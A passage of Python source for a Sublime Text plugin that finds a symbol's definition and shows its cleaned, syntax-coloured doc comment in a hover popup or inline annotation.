(4)\n\t\t\tsort_ancestor  = lambda locs: list(sorted(locs, key=get_ancestor_dist))                                                   # presedence (5)\n\t\t\tfilters = [filter_open, filter_syntax, filter_extents, sort_ancestor]\n\n\t\t\t# Find the best fitting sym_loc\n\t\t\tsym_loc = defs[0]\n\t\t\tfor sym_filter in filters:\n\t\t\t\tdefs_new = sym_filter(defs)\n\t\t\t\tif len(defs_new) != 0:\n\t\t\t\t\tdefs = defs_new\n\t\t\t\t\tsym_loc = defs[0]\n\n\t\t\treturn sym_loc\n\t\telse:\n\t\t\t# print(\"No matching symbol at point\")\n\t\t\treturn None\n\n\tdef on_text_command(self, view, command_name, args):\n\t\tif command_name == \"hover_docs\":\n\t\t\tif args == None:\n\t\t\t\targs = {}\n\t\t\tif not \"mode\" in args:\n\t\t\t\targs[\"mode\"] = \"open\"\n\t\t\tif  args[\"mode\"] == \"open\":\n\t\t\t\tdoc_regs, doc_strs, sym_locs = [], [], []\n\t\t\t\tfor reg in view.sel():\n\t\t\t\t\tdoc_str, sym_loc, sym_reg = self.build_doc_parts(view, reg.a)\n\t\t\t\t\tif doc_str != None:\n\t\t\t\t\t\tdoc_regs.append(sym_reg)\n\t\t\t\t\t\tdoc_strs.append(doc_str)\n\t\t\t\t\t\tsym_locs.append(sym_loc)\n\t\t\t\tif len(doc_regs) > 0:\n\t\t\t\t\tfds = \"\" if (not \"display_style\" in args) else args[\"display_style\"]\n\t\t\t\t\tself.add_docs(view, doc_regs, doc_strs, sym_locs, is_keybinding=True, force_display_style=fds)\n\t\t\t\telse:\n\t\t\t\t\tsublime.active_window().status_message(\"No definition found for symbol at cursor\")\n\t\t\telif args[\"mode\"] == \"clear\":\n\t\t\t\tview.hide_popup()\n\t\t\t\tview.erase_regions(\"hd_hover\")\n\t\tif command_name == \"drag_select\":\n\t\t\tfor sel in view.sel():\n\t\t\t\tif sel not in self.sel_snapshot:\n\t\t\t\t\tself.double_click_target = sel\n\t\t\t\t\tbreak\n\t\t\tif \"by\" in args and args[\"by\"] == \"words\":\n\t\t\t\tself.on_double_click(view, self.double_click_target)\n\t\t\tself.sel_snapshot = list(view.sel())\n\n\tdef on_double_click(self, view, reg):\n\t\tview.hide_popup()\n\t\tif self.setting(\"show_on_double_click\"):\n\t\t\tdoc_str, sym_loc, sym_reg = self.build_doc_parts(view, reg.a)\n\t\t\tif doc_str != None:\n\t\t\t\tself.add_docs(view, [sym_reg], [doc_str], [sym_loc], is_double_click=True)\n\n\tdef on_hover(self, view, point, hover_zone):\n\t\tif not self.setting(\"show_on_hover\"):\n\t\t\treturn\n\n\t\tdoc_str, sym_loc, sym_reg = self.build_doc_parts(view, point)\n\t\thover_line = view.rowcol(point)[0]\n\n\t\tif doc_str == None:\n\t\t\tif hover_line != self.hover_line:\n\t\t\t\tif self.setting(\"hover_auto_hide\"):\n\t\t\t\t\tview.erase_regions(\"hd_hover\")\n\t\telse:\n\t\t\tself.add_docs(view, [sym_reg], [doc_str], [sym_loc], is_hover=True)\n\t\tself.hover_line = hover_line\n\n\tdef build_doc_parts(self, view, point, force_doc_string=None, force_interface=None, force_hyperlink=None, _look_behind=False):\n\t\t\"\"\" Finds the definition for the reference symbol at the given point (if any)\n\t\tand builds out the documentation string.\n\n\t\tArgs:\n\t\t    view: the view to grab the symbol from\n\t\t    point: the location in the view to grab the symbol from\n\t\t    force*: True or False to force the documentation string, None to obey the settings file\n\t\t    _look_behind: Private. Look for a symbol at point-1, in case we're at the end of a word.\n\t\tReturns:\n\t\t    doc_str: The documentation string, or None if not applicable\n\t\t    sym_loc: The SymbolLocation, or None if not applicable\n\t\t    sym_reg: The symbol region in the given view.\n\t\t\"\"\"\n\t\tif _look_behind:\n\t\t\tpoint -= 1\n\t\tif point < 0 or point > view.size():\n\t\t\treturn None, None, None\n\t\tpoint_reg = sublime.Region(point, point)\n\t\tscope = view.extract_tokens_with_scopes(point_reg)\n\t\tregs = []\n\t\tannotations = []\n\t\tsym_loc = None\n\n\t\t# some basic qualifications\n\t\tif len(scope) == 0:\n\t\t\tif not _look_behind:\n\t\t\t\treturn self.build_doc_parts(view, point, force_doc_string, force_interface, force_hyperlink, _look_behind=True)\n\t\t\telse:\n\t\t\t\treturn None, None, None\n\t\tsym_reg = scope[0][0]\n\t\tscope_names = scope[0][1]\n\t\tif \"comment\" in scope_names:\n\t\t\treturn None, None, None\n\n\t\t# check if this symbol _is_ the definition\n\t\tview_sym_regs = view.symbol_regions()\n\t\tfound = False\n\t\tfor view_sym_reg in view_sym_regs:\n\t\t\tif view_sym_reg.region.contains(point):\n\t\t\t\tif view_sym_reg.type == 1: # 1 == Definition\n\t\t\t\t\treturn None, None, None\n\n\t\t# symbol at sym_reg must be a reference, try to find the definition\n\t\t# try to find a definition with the same name in the index\n\t\tsym_name = view.substr(sym_reg)\n\t\tsym_loc = self.find_symbol_definition(view, sym_name)\n\t\tif sym_loc == None:\n\t\t\tif not _look_behind:\n\t\t\t\treturn self.build_doc_parts(view, point, force_doc_string, force_interface, force_hyperlink, _look_behind=True)\n\t\t\telse:\n\t\t\t\treturn None, None, None\n\t\tfn = os.path.basename(sym_loc.path)\n\n\t\t# get the def_str and comment_str, with syntax applied via minihtml\n\t\tv2, def_reg, comment_reg = self.find_def_and_comment(sym_loc, sym_name)\n\t\tif v2 == 0:\n\t\t\treturn None, None, None\n\t\tdef_scopes, comment_scopes = self.get_scope_spans(v2, def_reg), self.get_scope_spans(v2, comment_reg)\n\t\tdef_str, comment_str = v2.substr(def_reg), v2.substr(comment_reg)\n\t\tdef_str = self.apply_syntax(v2, def_str, def_scopes)\n\t\tcomment_str, comment_scopes = self.reduce_comment_str(v2, comment_str, comment_scopes)\n\t\tcomment_str = self.apply_syntax(v2, comment_str, comment_scopes)\n\t\t\n\t\t# build the doc_str\n\t\tdoc_str = \"\"\n\t\tif (self.setting(\"display_docstring\") or force_doc_string == True) and (force_doc_string != False):\n\t\t\tif len(def_str) > 0:\n\t\t\t\tdoc_str += def_str\n\t\tif (self.setting(\"display_interface\") or force_interface == True) and (force_interface != False):\n\t\t\tif len(comment_str) > 0:\n\t\t\t\tdoc_str += (\"\" if len(doc_str) == 0 else \"<br>\") + comment_str\n\t\tif (self.setting(\"display_file_hyperlink\") or force_hyperlink == True) and (force_hyperlink != False):\n\t\t\tdoc_str += (\"\" if len(doc_str) == 0 else \"<br>\") + f\"<a href='goto:!href!'>{fn}:{sym_loc.row+1}</a>\"\n\n\t\treturn doc_str, sym_loc, sym_reg\n\n\tdef add_docs(self, view, doc_regs, doc_strs, sym_locs, is_hover=False, is_double_click=False, is_keybinding=False, force_display_style=\"\"):\n\t\t# add close buttons\n\t\tauto_hide = True\n\t\tis_ctrl = self.is_ctrl_pressed() and self.setting(\"toggle_display_style\") and not is_keybinding\n\t\tif (is_hover and not self.setting(\"hover_auto_hide\")) or \\\n\t\t   (is_double_click and not self.setting(\"double_click_auto_hide\")) or \\\n\t\t   (is_keybinding and not self.setting(\"keybinding_auto_hide\")):\n\t\t\tauto_hide = False\n\t\tif not auto_hide or is_ctrl:\n\t\t\tclose_button = f\" <a href='close:!href!'>close</a>\"\n\t\t\tdoc_strs = list(map(lambda s: s+close_button, doc_strs))\n\n\t\t# add the link index to the href\n\t\tfor i in range(len(doc_strs)):\n\t\t\tdoc_strs[i] = doc_strs[i].replace(\"!href!\", str(i))\n\n\t\t# determine the display style\n\t\tdisplay_style = \"annotation\" if (self.setting(\"display_style\") == \"annotation\") else \"popup\"\n\t\tif is_ctrl:\n\t\t\tdisplay_style = \"annotation\" if (display_style == \"popup\") else \"popup\"\n\t\tif force_display_style != \"\":\n\t\t\tdisplay_style = force_display_style\n\n\t\tif display_style == \"annotation\":\n\t\t\tflags = 128 # RegionFlags.HIDDEN\n\t\t\tview.add_regions(key=\"hd_hover\", regions=doc_regs, scope='', icon='', flags=flags, annotations=doc_strs,\n\t\t\t\t             annotation_color='', on_navigate=lambda href: self.on_navigate(href, view, sym_locs))\n\t\telse: # \"popup\"\n\t\t\tflags = 2+16 # COOPERATE_WITH_AUTO_COMPLETE, KEEP_ON_SELECTION_MODIFIED\n\t\t\tif auto_hide:\n\t\t\t\tflags += 8 # HIDE_ON_MOUSE_MOVE_AWAY\n\t\t\tview_width, view_height = view.viewport_extent()\n\t\t\tview.show_popup(doc_strs[0], flags, doc_regs[0].a, max_width=view_width, max_height=view_height,\n\t\t\t                on_navigate=lambda href: self.on_navigate(href, view, sym_locs))\n\n\tdef reduce_comment_str(self, view, comment_str, comment_scopes):\n\t\t\"\"\" Removes the comment markings from the given comment string and trims the common leading\n\t\twhitespace off of the comment.\n\n\t\tArgs:\n\t\t    view: the view that the comment_str was extracted from\n\t\t    comment_str: the comment to modify\n\t\t    comment_scopes: a list of [idx, len, scope_names] that matches the given comment_str\n\t\tReturns:\n\t\t    comment_str: The modified string value\n\t\t    comment_scopes: The modified scopes, whose regions have been modified to match the\n\t\t                    reduction in comment string lengths\n\t\t\"\"\"\n\t\tif len(comment_str.strip()) == 0:\n\t\t\treturn comment_str, comment_scopes\n\n\t\t# prepare a system for tracking reductions\n\t\t# each reduction has the values \"newpos\", \"oldpos\", and \"length\"\n\t\tnew_comment_scopes = []\n\t\tfor cs in comment_scopes:\n\t\t\tend_pos = cs[0] + cs[1]\n\t\t\tnew_comment_scopes.append([cs[0], cs[1], cs[2], end_pos])\n\t\tdef reduce_string(strval, pos, length):\n\t\t\tif length == 0:\n\t\t\t\treturn strval\n\n\t\t\t# first, apply the reduction to the comment_scopes\n\t\t\tto_remove = []\n\t\t\tfor cs in new_comment_scopes:\n\t\t\t\tfor p in [0, 3]:\n\t\t\t\t\tif cs[p] >= pos:\n\t\t\t\t\t\tif cs[p] >= pos+length:\n\t\t\t\t\t\t\tcs[p] -= length\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tcs[p] = pos\n\t\t\t\tif cs[0] == cs[3]:\n\t\t\t\t\tto_remove.append(cs)\n\t\t\tfor cs in to_remove:\n\t\t\t\tnew_comment_scopes.remove(cs)\n\n\t\t\t# now reduce the string\n\t\t\tif pos == 0:\n\t\t\t\treturn strval[length:]\n\t\t\telif pos+length >= len(strval):\n\t\t\t\treturn strval[:pos]\n\t\t\telse:\n\t\t\t\treturn strval[:pos] + strval[pos+length:]\n\n\t\t# helpful string functions\n\t\tdef split_line(strval, ws_loc=\"left\"):\n\t\t\t\"\"\" Returns the preceeding whitespace, and the following rest of the string.\n\n\t\t\tArgs:\n\t\t\t    ws_loc: \"left\" for normal operation, or \"right\" to instead return the\n\t\t\t            trailing whitespace and the preceeding rest of the string\n\t\t    Returns:\n\t\t        ws: the preceeding (or trailing) whitespace\n\t\t        nonws: the trailing (or preceeding) rest of the string\n\t\t    \"\"\"\n\t\t\tif ws_loc == \"left\":\n\t\t\t\tnon_whitespace = strval.lstrip()\n\t\t\t\twhitespace = strval[:len(strval) - len(non_whitespace)]\n\t\t\telse:\n\t\t\t\tnon_whitespace = strval.rstrip()\n\t\t\t\twhitespace = strval[len(non_whitespace):]\n\t\t\treturn whitespace, non_whitespace\n\t\tdef remove_common_whitespace(comment_str):\n\t\t\t\"\"\" Removes the common leading whitespace from all lines. \"\"\"\n\t\t\t# find the length of the common whitespace\n\t\t\tfirst_line_parts = split_line(v2.substr(v2.line(0)))\n\t\t\tcommon_whitespace = len(first_line_parts[0]) + len(first_line_parts[1])\n\t\t\tfor line in v2.lines(sublime.Region(0, v2.size())):\n\t\t\t\tline_str = v2.substr(line)\n\t\t\t\tif len(line_str) == 0:\n\t\t\t\t\tcontinue\n\t\t\t\tline_parts = split_line(line_str)\n\t\t\t\tcommon_whitespace = min(common_whitespace, len(line_parts[0]))\n\n\t\t\t# remove up to the common whitespace\n\t\t\tpos = 0\n\t\t\twhile pos < v2.size():\n\t\t\t\tline = v2.line(pos)\n\t\t\t\tstrval = v2.substr(line)\n\n\t\t\t\twhitespace, non_whitespace = split_line(strval)\n\t\t\t\tlinepos, cnt = 0, 0\n\t\t\t\twhile linepos < len(whitespace):\n\t\t\t\t\tif whitespace[linepos] == \"\\t\":\n\t\t\t\t\t\tcnt += tab_size\n\t\t\t\t\telse:\n\t\t\t\t\t\tcnt += 1\n\t\t\t\t\tif cnt > common_whitespace:\n\t\t\t\t\t\tbreak\n\t\t\t\t\tlinepos += 1\n\t\t\t\tlinepos =  min(linepos, len(whitespace))\n\n\t\t\t\twhitespace = whitespace[linepos:]\n\t\t\t\tcomment_str = reduce_string(comment_str, pos, linepos)\n\t\t\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"replace\", \"reg_str\": f\"{line.a}:{line.b}\", \"characters\": whitespace+non_whitespace })\n\t\t\t\tpos = v2.full_line(pos).b\n\t\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"replace\", \"reg_str\": f\"0:{v2.size()}\", \"characters\": comment_str })\n\n\t\t\treturn comment_str\n\t\tdef remove_empty_lines(comment_str):\n\t\t\tempty_leading = 0\n\t\t\tfor line in v2.lines(sublime.Region(0, v2.size())):\n\t\t\t\tline_str = v2.substr(line)\n\t\t\t\tif len(line_str.strip()) > 0:\n\t\t\t\t\tempty_leading = line.a\n\t\t\t\t\tbreak\n\t\t\tif empty_leading > 0:\n\t\t\t\tcomment_str = reduce_string(comment_str, 0, empty_leading)\n\t\t\tempty_trailing_ws = split_line(comment_str, \"right\")[0]\n\t\t\tcomment_str = reduce_string(comment_str, len(comment_str)-len(empty_trailing_ws), len(empty_trailing_ws))\n\t\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"replace\", \"reg_str\": f\"0:{v2.size()}\", \"characters\": comment_str })\n\t\t\treturn comment_str\n\n\t\t# build a new view into which to insert the comment string\n\t\tsublime.active_window().destroy_output_panel(\"hd_output_panel\")\n\t\tv2 = sublime.active_window().create_output_panel(\"hd_output_panel\", True)\n\t\tif view.syntax() != None:\n\t\t\tv2.assign_syntax(view.syntax())\n\t\tv2.set_scratch(True)\n\n\t\t# replace all the tabs in the comment string\n\t\ttab_size = view.settings().get(\"tab_size\")\n\t\ttab_size = 4 if tab_size is None else tab_size\n\t\ttab_str = \" \"*tab_size\n\t\ttab_idx = comment_str.find(\"\\t\")\n\t\twhile tab_idx >= 0:\n\t\t\tfor cs in new_comment_scopes:\n\t\t\t\tfor p in [0, 3]:\n\t\t\t\t\tif cs[p] > tab_idx:\n\t\t\t\t\t\tcs[p] += tab_size-1\n\t\t\tcomment_str = comment_str[:tab_idx] + tab_str + comment_str[tab_idx+1:]\n\t\t\ttab_idx = comment_str.find(\"\\t\")\n\n\t\t# insert the comment string\n\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"append\", \"characters\": comment_str })\n\n\t\t# remove white space 1\n\t\tcomment_str = remove_empty_lines(comment_str)\n\t\tcomment_str = remove_common_whitespace(comment_str)\n\n\t\t# remove language-specific multiline docstrings\n\t\tis_docstr, cm_start, cm_mid, cm_end = self.get_comment_is_docstring(comment_str, view)\n\t\tif is_docstr:\n\t\t\t# example:\n\t\t\t#     /* this\n\t\t\t#      * is\n\t\t\t#      * a comment */\n\t\t\t# =>\n\t\t\t#     this\n\t\t\t#     is\n\t\t\t#     a comment\n\t\t\tfirst_line_parts = split_line(v2.substr(v2.line(0)))\n\t\t\tlast_line_parts  = split_line(v2.substr(v2.line(v2.size())), \"right\")\n\t\t\tstart_ws = split_line(first_line_parts[1][len(cm_start):])[0]        # eg \"/* start of comment\" => \" \"\n\t\t\tend_ws   = split_line(last_line_parts[1][:-len(cm_end)], \"right\")[0] # eg \"end of comment */\" => \" \"\n\t\t\tstart_ws_len = min(len(start_ws), 1) # don't remove more than one extra space\n\t\t\tcomment_str = reduce_string(comment_str, len(first_line_parts[0]),                 len(cm_start)+start_ws_len)\n\t\t\tcomment_str = reduce_string(comment_str, len(comment_str)-len(cm_end)-len(end_ws), len(cm_end)+len(end_ws))\n\t\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"replace\", \"reg_str\": f\"0:{v2.size()}\", \"characters\": comment_str })\n\t\t\tif cm_mid != \"\":\n\t\t\t\t# deal with middle-line comment markings, for example \"* i'm a c comment\"\n\t\t\t\tpos = v2.size()\n\t\t\t\twhile pos > 0:\n\t\t\t\t\tline = v2.line(pos)\n\t\t\t\t\tline_str = v2.substr(line)\n\t\t\t\t\tline_ws, line_nonws = split_line(line_str)\n\t\t\t\t\tif line_nonws.startswith(cm_mid):\n\t\t\t\t\t\tmid_ws = split_line(line_nonws[len(cm_mid):])[0]\n\t\t\t\t\t\tmid_ws_len = min(len(mid_ws), 1) # don't remove more than one extra space\n\t\t\t\t\t\tcomment_str = reduce_string(comment_str, line.a, len(line_ws)+len(cm_mid)+mid_ws_len)\n\t\t\t\t\tpos = line.a-1\n\t\t\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"replace\", \"reg_str\": f\"0:{v2.size()}\", \"characters\": comment_str })\n\n\t\t# remove the per-line comment markings from the comment string\n\t\tif not is_docstr:\n\t\t\tpos = 0\n\t\t\twhile pos < v2.size():\n\t\t\t\tline = v2.line(pos)\n\t\t\t\tline_str = v2.substr(line)\n\n\t\t\t\t# replace the comment\n\t\t\t\tv2.sel().clear()\n\t\t\t\tv2.sel().add(pos)\n\t\t\t\tv2.run_command(\"toggle_comment\")\n\t\t\t\tnewline = v2.line(pos)\n\t\t\t\tif newline.size() < line.size():\n\t\t\t\t\t# track the string reduction\n\t\t\t\t\tnewline_str = v2.substr(newline)\n\t\t\t\t\tfront_cnt = max(0, line_str.index(newline_str))\n\t\t\t\t\tback_cnt = max(0, line.size()-newline.size() - front_cnt)\n\t\t\t\t\tcomment_str = reduce_string(comment_str, line.a, front_cnt)\n\t\t\t\t\tcomment_str = reduce_string(comment_str, line.b-front_cnt, back_cnt)\n\t\t\t\telse:\n\t\t\t\t\t# toggled comment the wrong way\n\t\t\t\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"replace\", \"reg_str\": f\"{newline.a}:{newline.b}\", \"characters\": line_str })\n\n\t\t\t\t# move on to the next line\n\t\t\t\tpos = v2.full_line(pos).b+1\n\t\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"replace\", \"reg_str\": f\"0:{v2.size()}\", \"characters\": comment_str })\n\n\t\t# remove white space 2\n\t\tcomment_str = remove_empty_lines(comment_str)\n\t\tcomment_str = remove_common_whitespace(comment_str)\n\n\t\t# update the \"lengths\" of the comment_scopes\n\t\tfor cs in new_comment_scopes:\n\t\t\tcs[1] = cs[3] - cs[0]\n\t\t\tdel cs[3]\n\n\t\treturn comment_str, new_comment_scopes\n\n\tdef get_comment_is_docstring(self, comment_str, view):\n\t\t\"\"\" Determine if the comment string is a doc string, and\n\t\treturn the doc string markings for said comment.\n\n\t\tArgs:\n\t\t\tcomment_str: the comment string to inspect\n\t\t\tview: the view that the comment is located in (necessary to get the view's syntax name)\n\t\tReturns:\n\t\t\tis_docstr: True if the comment is a docstring, False otherwise\n\t\t\tcm_start: The opening docstring marking\n\t\t\tcm_mid: The per-line docstring marking (could be empty string)\n\t\t\tcm_end: The closing docstring marking\n\t\t\"\"\"\n\t\tmulti_line_docstrings = self.setting(\"multi_line_docstrings\")\n\t\tsyntax_name = \"\" if view.syntax() is None else view.syntax().name.lower()\n\t\tif syntax_name in multi_line_docstrings:\n\t\t\tcomment_str_rs = comment_str.rstrip()\n\t\t\tcomment_str_ls = comment_str_rs.lstrip()\n\t\t\tfor comment_markings in multi_line_docstrings[syntax_name]:\n\t\t\t\tcm_start, cm_end = comment_markings[0], comment_markings[1]\n\t\t\t\tcm_mid = \"\" if len(comment_markings) < 3 else comment_markings[2]\n\t\t\t\tif comment_str_ls.startswith(cm_start) and comment_str_rs.endswith(cm_end):\n\t\t\t\t\treturn True, cm_start, cm_mid, cm_end\n\t\treturn False, \"\", \"\", \"\"\n\n\tdef apply_syntax(self, view, strval, scope_spans):\n\t\t\"\"\" Inserts minihtml into the given string to match the syntax of the given spans.\n\n\t\tArgs:\n\t\t    view: The view that the given string is from.\n\t\t    strval: The string to insert the syntax into.\n\t\t    scope_spans: A list of [idx, len, scope_name] used to get the syntax.\n\t\tReturns:\n\t\t    str_wsyntax: The string with html markup inserted.\n\t\t\"\"\"\n\t\tret = \"\"\n\n\t\t# get the default foreground color\n\t\tdefault_style = view.style_for_scope('')\n\n\t\tfor scope_span in scope_spans:\n\t\t\t# split the string into scope span pieces\n\t\t\tidx, length, scope_names = scope_span\n\t\t\tstrpart = strval[idx:idx+length]\n\n\t\t\t# html encode the string\n\t\t\tstrpart = html.escape(strpart)\n\t\t\tstrpart = re.sub(r\" ( +)\", lambda m: \"&nbsp;\"*len(m.group(0)), strpart)\n\t\t\tstrpart = strpart.replace(\"\\n\",\"<br>\")\n\n\t\t\t# get the style for this scope\n\t\t\tstyle = view.style_for_scope(scope_names[0])\n\t\t\tfor scope_name in scope_names[1:]:\n\t\t\t\ttmp_style = view.style_for_scope(scope_name)\n\t\t\t\tif 'foreground' in default_style and style['foreground'] == default_style['foreground']:\n\t\t\t\t\tstyle = tmp_style\n\t\t\t\tif 'foreground' in default_style and tmp_style['foreground'] != default_style['foreground']:\n\t\t\t\t\tstyle = tmp_style\n\n\t\t\t# apply the syntax for this piece\n\t\t\tstyle_str = f\"<div style='display:inline;\"\n\t\t\tif \"foreground\" in style:\n\t\t\t\tstyle_str += f\" color:{style['foreground']};\"\n\t\t\tif \"background\" in style:\n\t\t\t\tstyle_str += f\" background-color:{style['background']};\"\n\t\t\tif \"bold\" in style and style[\"bold\"]:\n\t\t\t\tstyle_str += \" font-weight:bold;\"\n\t\t\tif \"italic\" in style and style[\"italic\"]:\n\t\t\t\tstyle_str += \" font-style:italic;\"\n\t\t\tif \"underline\" in style and style[\"underline\"]:\n\t\t\t\tstyle_str += \" text-decoration:underline;\"\n\t\t\tret += f\"{style_str}'>{strpart}</div>\"\n\n\t\treturn ret\n\n\tdef find_def_and_comment(self, sym_loc, sym_name):\n\t\t\"\"\" For a given symbol, get the definition string and the comment string.\n\n\t\tArgs:\n\t\t    sym_loc: The SymbolLocation for the symbol. Probably from find_symbol_definition(...)\n\t\t    sym_name: The string representing the name of the symbol.\n\t\tReturns:\n\t\t    v2: The temporary output panel into which the symbol is loaded.\n\t\t    def_reg: The region containing the definition of the symbol. If a function, then\n\t\t             this includes the parameters in the definition. Might be empty.\n\t\t    comment_reg: The region containing the comment immediately preceeding or following\n\t\t                 the symbol. Empty region if not found.\n\t\t\"\"\"\n\t\t# find the view for the given sym_loc, if already opened somewhere\n\t\twindows = [sublime.active_window()] + sublime.windows()\n\t\tfor window in windows:\n\t\t\tv2 = window.find_open_file(sym_loc.path)\n\t\t\tif v2 != None:\n\t\t\t\tbreak\n\n\t\t# load in a new view for this unopened file\n\t\tif v2 == None:\n\t\t\t# find the syntax\n\t\t\tsyntax = sublime.find_syntax_for_file(sym_loc.path)\n\t\t\tif syntax == None:\n\t\t\t\treturn None, sublime.Region(0,0), sublime.Region(0,0)\n\n\t\t\t# create a hidden output panel\n\t\t\tsublime.active_window().destroy_output_panel(\"hd_output_panel\")\n\t\t\tv2 = sublime.active_window().create_output_panel(\"hd_output_panel\", True)\n\t\t\tlarge_size = v2.settings()[\"syntax_detection_size_limit\"]\n\t\t\tif os.path.getsize(sym_loc.path) < large_size:\n\t\t\t\t# if the file is small, the load the entire file\n\t\t\t\twith open(sym_loc.path, 'r') as f:\n\t\t\t\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"append\", \"characters\": f.read() })\n\t\t\t\t\tpos = self.get_pos(v2, sym_loc.row, sym_loc.col)\n\t\t\t\t\tsym_reg = sublime.Region(pos, pos+len(sym_name))\n\t\t\t\t\tsym_line = v2.line(pos)\n\t\t\t\t\tpre_line = v2.line(sym_line.a-1)\n\t\t\t\t\tpost_line = v2.line(v2.full_line(pos).b+1)\n\t\t\telse:\n\t\t\t\t# If the file is large, then just load the surrounding 100 lines on either side fo the symbol.\n\t\t\t\t# TODO load the megabyte surrounding the symbol instead, should be faster and hopefully have\n\t\t\t\t# significantly more context.\n\t\t\t\tstart = max(0, sym_loc.row - 100)\n\t\t\t\tstop = sym_loc.row + 100\n\t\t\t\tpre_line, sym_line, post_line, sym_reg = 0, 0, 0, None\n\t\t\t\twith open(sym_loc.path, 'r') as f:\n\t\t\t\t\tlineno = 0\n\t\t\t\t\tfor line in f:\n\t\t\t\t\t\tlineno += 1\n\t\t\t\t\t\tif lineno >= start:\n\t\t\t\t\t\t\tif lineno == sym_loc.row:\n\t\t\t\t\t\t\t\tsym_line = v2.size()\n\t\t\t\t\t\t\t\tsym_reg = sublime.Region(v2.size()+sym_loc.col-1, v2.size()+sym_loc.col+len(sym_name)-1)\n\t\t\t\t\t\t\telif lineno < sym_loc.row:\n\t\t\t\t\t\t\t\tpre_line = v2.size()\n\t\t\t\t\t\t\tv2.run_command(\"hover_docs\", args={ \"mode\": \"append\", \"characters\": line })\n\t\t\t\t\t\t\tif lineno == sym_loc.row:\n\t\t\t\t\t\t\t\tpost_line = v2.size()\n\t\t\t\t\t\tif lineno >= stop:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tstop = lineno\n\t\t\t\tpre_line = v2.line(pre_line)\n\t\t\t\tsym_line = v2.line(sym_line)\n\t\t\t\tpost_line = v2.line(post_line)\n\n\t\t\t# set the syntax and let sublime parse the hidden output panel\n\t\t\tv2.assign_syntax(syntax)\n\t\telse:\n\t\t\tpos = self.get_pos(v2, sym_loc.row, sym_loc.col)\n\t\t\tsym_reg = sublime.Region(pos, pos+len(sym_name))\n\t\t\tpre_line = v2.line(v2.line(pos).a-1)\n\t\t\tsym_line = v2.line(pos)\n\t\t\tpost_line = v2.line(v2.full_line(pos).b+1)\n\n\t\t# get the defstr from the symbol line\n\t\t# expand to the end of the function parameters\n\t\tsym_scopes = v2.scope_name(sym_reg.b).split(\" \")\n\t\tsym_scopes = filter(lambda s: \"parameters\" in s, sym_scopes)\n\t\tsym_scopes = map(lambda s: s[:s.index(\"parameters\")+10], sym_scopes)\n\t\ttmp_reg = self.expand_to_scope(v2, sym_reg.b, sym_scopes)\n\t\tsym_extracted_reg = sublime.Region(sym_reg.a, max(sym_reg.b, tmp_reg.b))\n\t\tdef_reg = sym_extracted_reg\n\n\t\t# get the comment line(s), either on or above or below the symbol line\n\t\tcomment_reg = None\n\t\tfor line in [sym_line, pre_line, post_line]:\n\t\t\tscope_spans = self.get_scope_spans(v2, line)\n\t\t\ttmp_comment_reg = None\n\t\t\tfor ss in scope_spans:\n\t\t\t\t# is this scope span part of a comment\n\t\t\t\tfound = False\n\t\t\t\tfor scope_name in ss[2]:\n\t\t\t\t\tif \"comment\" in scope_name:\n\t\t\t\t\t\tfound = True\n\t\t\t\t\t\tbreak\n\t\t\t\tif not found:\n\t\t\t\t\tcontinue\n\n\t\t\t\t# expand the scope span\n\t\t\t\tfor pnt in [line.a+ss[0], line.a+ss[0]+ss[1]-1]:\n\t\t\t\t\treg = v2.extract_scope(pnt)\n\t\t\t\t\tif reg != None:\n\t\t\t\t\t\tif tmp_comment_reg == None:\n\t\t\t\t\t\t\ttmp_comment_reg = reg\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttmp_comment_reg = sublime.Region(min(tmp_comment_reg.a, reg.a), max(tmp_comment_reg.b, reg.b))\n\n\t\t\t# did we find a comment?\n\t\t\tif tmp_comment_reg != None:\n\t\t\t\tif comment_reg == None:\n\t\t\t\t\tcomment_reg = tmp_comment_reg\n\n\t\t\t\t# include the leading whitespace on the comment string\n\t\t\t\tcomment_line = v2.line(tmp_comment_reg.a)\n\t\t\t\tpre_comment_str = v2.substr(sublime.Region(comment_line.a, tmp_comment_reg.a))\n\t\t\t\tif len(pre_comment_str.strip()) == 0:\n\t\t\t\t\ttmp_comment_reg = sublime.Region(comment_line.a, tmp_comment_reg.b)\n\t\t\t\t\n\t\t\t\t# if a block comment found, then it is probably the documentation we seek => stop looking\n\t\t\t\tis_docstr, cm_start, cm_mid, cm_end = self.get_comment_is_docstring(v2.substr(tmp_comment_reg), v2)\n\t\t\t\tif is_docstr:\n\t\t\t\t\tcomment_reg = tmp_comment_reg\n\t\t\t\t\tbreak\n\t\tif comment_reg == None:\n\t\t\tcomment_reg = sublime.Region(0,0)\n\t\t\n\t\treturn v2, def_reg, comment_reg\n\n\tdef expand_to_scope(self, view, point, matching_scopes):\n\t\t\"\"\" Finds the extent of the region that matches the given scopes.\n\n\t\tArgs:\n\t\t    view: The view to search in\n\t\t    point: Where to start the region\n\t\t    matching_scopes: A list of strings that the scope names should start with\n\t\tReturns:\n\t\t    reg: The expanded region\n\t\t\"\"\"\n\t\tif type(matching_scopes) != list:\n\t\t\tmatching_scopes = list(matching_scopes)\n\t\tbeggining, ending = point, point\n\n\t\t# find the extent of the matching scopes\n\t\tfor start, mod in [(point-1, -1), (point, 1)]:\n\t\t\tpos = start\n\t\t\twhile pos > 0 and pos < view.size():\n\t\t\t\tscope_names = view.scope_name(pos).split(\" \")\n\t\t\t\tscope_names = filter(lambda s: s != \"\", scope_names)\n\t\t\t\tfound = False\n\t\t\t\tfor scope_name in scope_names:\n\t\t\t\t\tfor matching_scope in matching_scopes:\n\t\t\t\t\t\tif scope_name.startswith(matching_scope):\n\t\t\t\t\t\t\tfound = True\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tif found:\n\t\t\t\t\t\tbreak\n\t\t\t\tif not found:\n\t\t\t\t\tbreak\n\n\t\t\t\tpos += mod\n\n\t\t\tif mod == -1:\n\t\t\t\tbeggining = pos\n\t\t\telse:\n\t\t\t\tending = pos\n\n\t\treg = sublime.Region(beggining, ending)\n\t\treturn reg\n\n\tdef get_scope_spans(self, view, reg):\n\t\t\"\"\" Get the 